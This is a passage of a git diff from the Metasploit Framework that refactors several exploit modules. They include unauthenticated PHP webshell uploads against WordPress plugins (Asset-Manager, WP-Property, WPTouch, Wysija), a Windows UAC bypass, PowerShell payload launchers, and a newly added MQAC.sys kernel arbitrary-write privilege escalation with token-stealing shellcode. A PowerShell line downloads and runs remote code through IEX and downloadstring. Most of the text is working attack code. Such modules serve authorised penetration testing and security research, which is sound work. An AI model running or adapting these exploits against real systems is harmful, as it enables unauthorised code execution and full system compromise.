post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
print_status("#{peer} - Sending PHP payload")
res = send_request_cgi({
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php"),
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})
)
if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end
print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
res = send_request_cgi({
filename = "#{Regexp.last_match[1]}.php"
print_good("#{peer} - Our payload is at: #{filename}. Calling payload...")
register_files_for_cleanup(filename)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri, "wp-content/affiliate_images", "#{$1}.php")
})
if res and res.code != 200
print_error("#{peer} - Server returned #{res.code.to_s}")
end
'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)
)
print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200
end
end

View File

@ -8,81 +8,76 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
super(update_info(
info,
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
plugin. By abusing the upload.php file, a malicious user can upload a file to a
'Description' => %q(
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
plugin. By abusing the upload.php file, a malicious user can upload a file to a
temp directory without authentication, which results in arbitrary code execution.
},
),
'Author' =>
[
'Sammy FORGIT', # initial discovery
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
'Sammy FORGIT', # initial discovery
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '82653' ],
[ 'BID', '53809' ],
[ 'EDB', '18993' ],
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
['OSVDB', '82653'],
['BID', '53809'],
['EDB', '18993'],
['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'Targets' => [['asset-manager <= 2.0', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 26 2012'))
end
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
], self.class)
def check
uri = normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return Exploit::CheckCode::Unknown if res.nil? || res.code != 200
Exploit::CheckCode::Detected
end
def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"
payload_name = "#{rand_text_alpha(5)}.php"
php_payload = get_write_exec_payload(:unlink_self=>true)
data = Rex::MIME::Message.new
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
post_data = data.to_s
print_status("#{peer} - Uploading payload #{payload_name}")
res = send_request_cgi({
res = send_request_cgi(
'method' => 'POST',
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
'uri' => normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
)
if not res or res.code != 200 or res.body !~ /#{payload_name}/
if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
end
print_status("#{peer} - Executing payload #{payload_name}")
res = send_request_raw({
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
'method' => 'GET'
})
register_files_for_cleanup(payload_name)
if res and res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Execution failed")
end
print_status("#{peer} - Executing payload #{payload_name}")
send_request_raw(
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'assets', 'temp', payload_name),
'method' => 'GET'
)
end
end

View File

@ -3,23 +3,23 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
super(update_info(
info,
'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
'Description' => %q(
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
temp directory without authentication, which results in arbitrary code execution.
},
),
'Author' =>
[
'Sammy FORGIT', # initial discovery
@ -28,82 +28,62 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '82656' ],
[ 'BID', '53787' ],
[ 'EDB', '18987'],
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
['OSVDB', '82656'],
['BID', '53787'],
['EDB', '18987'],
['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'Targets' => [['wp-property <= 1.35.0', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 26 2012'))
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
], self.class)
end
def check
uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-property', 'third-party', 'uploadify', 'uploadify.php')
uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify', 'uploadify.php')
res = send_request_cgi({
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
})
)
if not res or res.code != 200
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Unknown if res.nil? || res.code != 200
return Exploit::CheckCode::Appears
Exploit::CheckCode::Detected
end
def exploit
data_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-property', 'third-party', 'uploadify/')
data_uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify/')
request_uri = normalize_uri(data_uri, 'uploadify.php')
peer = "#{rhost}:#{rport}"
@payload_name = "#{rand_text_alpha(5)}.php"
php_payload = get_write_exec_payload(:unlink_self=>true)
payload_name = "#{rand_text_alpha(5)}.php"
data = Rex::MIME::Message.new
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
data.add_part(data_uri, nil, nil, "form-data; name=\"folder\"")
post_data = data.to_s
print_status("#{peer} - Uploading payload #{@payload_name}")
res = send_request_cgi({
print_status("#{peer} - Uploading payload #{payload_name}")
res = send_request_cgi(
'method' => 'POST',
'uri' => request_uri,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
)
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
end
register_files_for_cleanup(payload_name)
upload_uri = normalize_uri(res.body)
print_status("#{peer} - Executing payload #{@payload_name}")
res = send_request_raw({
print_status("#{peer} - Executing payload #{payload_name}")
send_request_raw(
'uri' => upload_uri,
'method' => 'GET'
})
if res and res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Execution failed")
end
)
end
end

View File

@ -12,7 +12,8 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
super(update_info(
info,
'Name' => 'Wordpress WPTouch Authenticated File Upload',
'Description' => %q{
The Wordpress WPTouch plugin contains an auhtenticated file upload
@ -33,19 +34,19 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html' ]
['URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['wptouch < 3.4.3', {}] ],
'Targets' => [['wptouch < 3.4.3', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 14 2014'))
register_options(
[
OptString.new('USER', [true, "A valid username", nil]),
OptString.new('PASSWORD', [true, "Valid password for the provided username", nil]),
OptString.new('USER', [true, 'A valid username', nil]),
OptString.new('PASSWORD', [true, 'Valid password for the provided username', nil])
], self.class)
end
@ -58,55 +59,29 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wptouch', 'readme.txt')
res = send_request_cgi({
'uri' => readme_url,
'method' => 'GET'
})
# no readme.txt present
if res.nil? || res.code != 200
return Msf::Exploit::CheckCode::Unknown
end
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
# readme present, but no version number
if version.nil?
return Msf::Exploit::CheckCode::Detected
end
vprint_status("#{peer} - Found version #{version} of the plugin")
if Gem::Version.new(version) < Gem::Version.new('3.4.3')
return Msf::Exploit::CheckCode::Appears
else
return Msf::Exploit::CheckCode::Safe
end
check_plugin_version_from_readme('wptouch', '3.4.3')
end
def get_nonce(cookie)
res = send_request_cgi({
res = send_request_cgi(
'uri' => wordpress_url_backend,
'method' => 'GET',
'cookie' => cookie
})
)
# forward to profile.php or other page?
if res and res.code.to_s =~ /30[0-9]/ and res.headers['Location']
location = res.headers['Location']
if res && res.redirect? && res.redirection
location = res.redirection
print_status("#{peer} - Following redirect to #{location}")
res = send_request_cgi({
res = send_request_cgi(
'uri' => location,
'method' => 'GET',
'cookie' => cookie
})
)
end
if res and res.body and res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/
return $1
if res && res.body && res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/
return Regexp.last_match[1]
else
return nil
end
@ -124,20 +99,20 @@ class Metasploit3 < Msf::Exploit::Remote
post_data = data.to_s
print_status("#{peer} - Uploading payload")
res = send_request_cgi({
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
})
)
if res and res.code == 200 and res.body and res.body.length > 0
if res && res.code == 200 && res.body && res.body.length > 0
register_files_for_cleanup(filename)
return res.body
end
return nil
nil
end
def exploit
@ -164,9 +139,9 @@ class Metasploit3 < Msf::Exploit::Remote
end
print_status("#{peer} - Calling uploaded file #{file_path}")
res = send_request_cgi({
send_request_cgi(
'uri' => file_path,
'method' => 'GET'
})
)
end
end

View File

@ -1,5 +1,3 @@
# encoding: UTF-8
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
@ -70,29 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
res = send_request_cgi(
'uri' => readme_url,
'method' => 'GET'
)
# no readme.txt present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
# readme present, but no version number
return Msf::Exploit::CheckCode::Detected if version.nil?
vprint_status("#{peer} - Found version #{version} of the plugin")
if Gem::Version.new(version) < Gem::Version.new('2.6.8')
return Msf::Exploit::CheckCode::Appears
else
return Msf::Exploit::CheckCode::Safe
end
check_plugin_version_from_readme('wysija-newsletters', '2.6.8')
end
def exploit
@ -101,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote
zip_content = create_zip_file(theme_name, payload_name)
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php')
uri = normalize_uri(wordpress_url_backend, 'admin-post.php')
data = Rex::MIME::Message.new
data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
@ -112,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
post_data = data.to_s
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
payload_uri = normalize_uri(target_uri.path, wp_content_dir, 'uploads', 'wysija', 'themes', theme_name, payload_name)
print_status("#{peer} - Uploading payload to #{payload_uri}")
res = send_request_cgi(

View File

@ -120,7 +120,7 @@ var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{
end
def psh_technique(var_shellobj, p)
cmd = Rex::Text.to_hex(cmd_psh_payload(p.encoded))
cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first))
js_content = %Q|
//<html><head></head><body><script>
var #{var_shellobj} = new ActiveXObject("WScript.Shell");

View File

@ -126,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
command = cmd_psh_payload(payload.encoded)
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
if command.length > 8000
# Windows 2008 Command Prompt Max Length is 8191
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")

View File

@ -4,96 +4,65 @@
##
require 'msf/core'
require 'msf/core/exploit/exe'
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::EXE
include Post::File
include Post::Windows::Priv
include Post::Windows::Runas
def initialize(info={})
super( update_info( info,
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Escalate UAC Execute RunAs',
'Description' => %q{
'Description' => %q(
This module will attempt to elevate execution level using
the ShellExecute undocumented RunAs flag to bypass low
UAC settings.
},
),
'License' => MSF_LICENSE,
'Author' => [ 'mubix' ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'Author' => [
'mubix', # Original technique
'b00stfr3ak' # Added powershell option
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows', {}]],
'DefaultTarget' => 0,
'References' => [
[ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
['URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html']
],
'DisclosureDate'=> "Jan 3 2012"
'DisclosureDate' => 'Jan 3 2012'
))
register_options([
OptString.new("FILENAME", [ false, "File name on disk"]),
OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ])
OptString.new('FILENAME', [false, 'File name on disk']),
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
OptBool.new('UPLOAD', [true, 'Should the payload be uploaded?', true]),
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
])
end
def exploit
root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
open_key = session.sys.registry.open_key(root_key, base_key)
lua_setting = open_key.query_value('EnableLUA')
if lua_setting.data == 1
print_status "UAC is Enabled, checking level..."
if is_uac_enabled?
print_status 'UAC is Enabled, checking level...'
case get_uac_level
when UAC_NO_PROMPT
print_good 'UAC is not enabled, no prompt for the user'
else
print_status "The user will be prompted, wait for them to click 'Ok'"
end
else
print_good "UAC is not enabled, no prompt for the user"
print_good 'UAC is not enabled, no prompt for the user'
end
uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')
case uac_level.data
when 2
print_status "UAC is set to 'Always Notify'"
print_status "The user will be prompted, wait for them to click 'Ok'"
when 5
print_debug "UAC is set to Default"
print_debug "The user will be prompted, wait for them to click 'Ok'"
when 0
print_good "UAC is not enabled, no prompt for the user"
end
#
# Generate payload and random names for upload
#
payload = generate_payload_exe
if datastore["FILENAME"]
payload_filename = datastore["FILENAME"]
else
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
case datastore['TECHNIQUE']
when 'EXE'
execute_exe(datastore['FILENAME'], datastore['PATH'], datastore['UPLOAD'])
when 'PSH'
execute_psh
end
if datastore["PATH"]
payload_path = datastore["PATH"]
else
payload_path = session.sys.config.getenv('TEMP')
end
cmd_location = "#{payload_path}\\#{payload_filename}"
if datastore["UPLOAD"]
print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...")
fd = session.fs.file.new(cmd_location, "wb")
fd.write(payload)
fd.close
end
session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)
end
end

View File

@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Local
service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"
else
service_executable = cmd_psh_payload(payload.encoded)
service_executable = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
end
begin

View File

@ -0,0 +1,226 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
INVALID_HANDLE_VALUE = 0xFFFFFFFF
def initialize(info = {})
super(update_info(info,
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
'Description' => %q(
A vulnerability within the MQAC.sys module allows an attacker to
overwrite an arbitrary location in kernel memory.
This module will elevate itself to SYSTEM, then inject the payload
into another SYSTEM process.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Matt Bergin', # original exploit and all the hard work
'Spencer McIntyre' # MSF module
],
'Arch' => [ARCH_X86],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Targets' =>
[
['Windows XP SP3',
{
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
'_APLINKS' => "\x88"
}
]
],
'References' =>
[
%w(CVE 2014-4971),
%w(EDB 34112),
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
],
'DisclosureDate' => 'Jul 22 2014',
'DefaultTarget' => 0
))
end
def find_sys_base(drvname)
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
lp_image_base = %w(PBLOB lpImageBase out)
cb = %w(DWORD cb in)
lpcb_needed = %w(PDWORD lpcbNeeded out)
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL',
[lp_image_base, cb, lpcb_needed])
image_base = %w(LPVOID ImageBase in)
lp_base_name = %w(PBLOB lpBaseName out)
n_size = %w(DWORD nSize in)
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD',
[image_base, lp_base_name, n_size])
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('L*')
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
if drvname.nil?
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
return [address, current_drvname]
end
end
end
# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
local_sys = resolve_sid('S-1-5-18')
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
this_pid = session.sys.process.getpid
# Processes that can Blue Screen a host if migrated in to
dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
session.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
next if dangerous_processes.include?(p['name'])
next if p['pid'] == this_pid
next if p['pid'] == 4
next if p['user'] != system_account_name
return p
end
end
def open_device
handle = session.railgun.kernel32.CreateFileA('\\\\.\\MQAC',
'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, nil, 'OPEN_EXISTING', 0, nil)
handle = handle['return']
if handle == 0
print_error('Failed to open the \\\\.\\MQAC device')
return nil
end
handle
end
def check
handle = open_device
if handle.nil? || handle == INVALID_HANDLE_VALUE
print_error('MSMQ installation not found')
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
os = sysinfo['OS']
case os
when /windows xp.*service pack 3/i
return Exploit::CheckCode::Appears
when /windows xp/i
print_error('Unsupported version of Windows XP detected')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
if sysinfo['Architecture'] =~ /wow64/i
print_error('Running against WOW64 is not supported')
return
elsif sysinfo['Architecture'] =~ /x64/
print_error('Running against 64-bit systems is not supported')
return
end
if is_system?
print_error('This meterpreter session is already running as SYSTEM')
return
end
# Running on Windows XP versions that aren't listed in the supported list
# results in a BSOD and so we should not let that happen.
return unless check == Exploit::CheckCode::Appears
kernel_info = find_sys_base(nil)
base_addr = 0xffff
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
handle = open_device
return if handle.nil? || handle == INVALID_HANDLE_VALUE
this_proc = session.sys.process.open
unless this_proc.memory.writable?(base_addr)
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('L'), nil,
[0xffff].pack('L'),
'MEM_COMMIT|MEM_RESERVE',
'PAGE_EXECUTE_READWRITE')
end
unless this_proc.memory.writable?(base_addr)
print_error('Failed to properly allocate memory')
this_proc.close
return
end
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
hKernel = hKernel['return']
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel,
'HalDispatchTable')
halDispatchTable = halDispatchTable['return']
halDispatchTable -= hKernel
halDispatchTable += kernel_info[0]
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
shellcode = make_nops(0x200) + tokenstealing
this_proc.memory.write(0x1, shellcode)
this_proc.close
print_status('Triggering vulnerable IOCTL')
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
1, 0x258,
halDispatchTable + 0x4, 0)
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
unless is_system?
print_error('Exploit failed')
return
end
proc = get_system_proc
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
unless execute_shellcode(payload.encoded, nil, proc['pid'])
fail_with(Failure::Unknown, 'Error while executing the payload')
end
end
end

View File

@ -126,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Local
if sysinfo["Architecture"] =~ /wow64/i
print_error("Running against WOW64 is not supported")
return
elsif sysinfo["Architectore"] =~ /x64/
elsif sysinfo["Architecture"] =~ /x64/
print_error("Running against 64-bit systems is not supported")
return
end

View File

@ -51,7 +51,11 @@ class Metasploit3 < Msf::Exploit::Local
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'DisclosureDate'=> "Nov 27 2012",
'DefaultOptions' =>
{
'WfsDelay' => 40,
},
'DisclosureDate' => "Nov 27 2012",
'References' =>
[
[ 'CVE', '2013-0008' ],
@ -160,7 +164,7 @@ class Metasploit3 < Msf::Exploit::Local
command = datastore['CUSTOM_COMMAND']
else
print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the powershell command line payload")
command = cmd_psh_payload(payload.encoded)
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
end
make_it(command)
else
@ -171,7 +175,11 @@ class Metasploit3 < Msf::Exploit::Local
def primer
url = get_uri()
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
command = "powershell.exe -w hidden -nop -c #{download_and_run}"
command = generate_psh_command_line({
:noprofile => true,
:windowstyle => 'hidden',
:command => download_and_run
})
make_it(command)
end

View File

@ -79,7 +79,14 @@ class Metasploit3 < Msf::Exploit::Local
end
def primer
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
cmd = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
{
:remove_comspec => true
}
)
cmd.gsub!('powershell.exe ','')
session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)
html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"

View File

@ -148,7 +148,14 @@ class Metasploit3 < Msf::Exploit::Local
print_good(".NET looks vulnerable, exploiting...")
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
cmd = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
{
:remove_comspec => true
}
)
cmd.gsub!('powershell.exe ','')
session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd)
temp = get_env('TEMP')

View File

@ -40,7 +40,8 @@ class Metasploit3 < Msf::Exploit::Local
if file? "%WINDIR%\\System32#{psh_path}"
print_status("Executing powershell command line...")
cmd_exec(cmd_psh_payload(payload.encoded))
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
cmd_exec(command)
else
fail_with(Exploit::Failure::NotVulnerable, "No powershell available.")
end

View File

@ -49,10 +49,9 @@ class Metasploit3 < Msf::Exploit::Local
'DisclosureDate' => 'Jan 01 1999',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
'Targets' =>
[
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X86_64] } ],
],
'DefaultTarget' => 0
))
@ -79,9 +78,14 @@ class Metasploit3 < Msf::Exploit::Local
def run_host(server)
# Get the PSH Payload and split it into bitesize chunks
# 1024 appears to be the max value allowed in env vars
psh = cmd_psh_payload(payload.encoded).gsub("\r\n","")
psh = psh[psh.index("$si")..psh.length-1]
chunks = split_code(psh, 1024)
psh = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
{
:remove_comspec => true,
:encode_inner_payload => true,
:use_single_quotes => true
})
chunks = split_code(psh, 1000)
begin
print_status("[#{server}] Storing payload in environment variables")
@ -99,7 +103,11 @@ class Metasploit3 < Msf::Exploit::Local
end
x = rand_text_alpha(rand(3)+3)
exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''"
exec_cmd = generate_psh_command_line({
:noprofile => true,
